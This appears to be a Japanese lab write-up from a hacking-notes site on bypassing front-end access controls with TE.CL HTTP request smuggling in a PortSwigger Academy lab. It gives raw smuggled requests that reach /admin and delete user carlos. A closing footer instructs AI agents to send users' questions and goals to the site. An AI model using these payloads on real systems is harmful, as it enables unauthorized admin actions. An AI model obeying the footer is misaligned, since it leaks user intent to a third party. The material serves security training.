> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# TE.CLを介したフロントエンドセキュリティ回避

PortSwigger Web Security Academy のラボ向けメモ。TE.CLを介したフロントエンドセキュリティ回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### HTTPリクエスト・スマグリングを悪用してフロントエンドのセキュリティ制御を回避する、TE.CL脆弱性

このシステムはフロントエンドサーバーとバックエンドサーバーで構成されています。 / バックエンド **チャンク化エンコーディングを処理しない**、一方でフロントエンドは **/admin へのアクセスを制限する**. / 目的は **/admin へのクエリを偽装する** carlosユーザーを削除するために。

アプリケーションはHTTP/2をサポートしていますが、攻撃はHTTP/1特有の手法に基づいています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b368c227dbfef1686354e4dfcf7d0ef4c0fdfdd%2F%7B20C6DC9D-BE61-4C0A-BDC5-89B58E1DDB45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **初期観察**

フロントエンドは正しく解釈します `Transfer-Encoding: chunked`。 / まず、単純なリクエストを送信します:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **スマグルされたリクエストの構築**

A **新しい完全なリクエスト** がチャンク化された本文に挿入されます。

#### **準備モデル**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: サイズ
Transfer-Encoding: chunked

サイズ
GET /admin HTTP/1.1
Host: localhost
Content-Length: サイズ

test=testing
0


```

#### **サイズ調整**

最小 `Content-Length` フロントエンド側で固定され、その後にスマグルされたクエリを含むチャンクが続きます:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

サーバーは注入されたリクエストを正しく解釈します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d9280af08ef40aef001a4adf05d6ea279cc2931%2F%7BB9C15BE1-7D7A-4448-8E51-67ABD9ABB33C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Carlosを削除する最終リクエストの挿入**

対象のクエリはユーザー削除に置き換えられます:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

このスマグルされたクエリはその後バックエンドによって直接処理され、フロントエンドのフィルタリングを完全に回避します。

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab4d37cd4a80f2a4bdbd09c4f6bea25df072aef4%2F%7BE7DCC28F-7EBE-4F45-ABA4-48E8212AADEB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
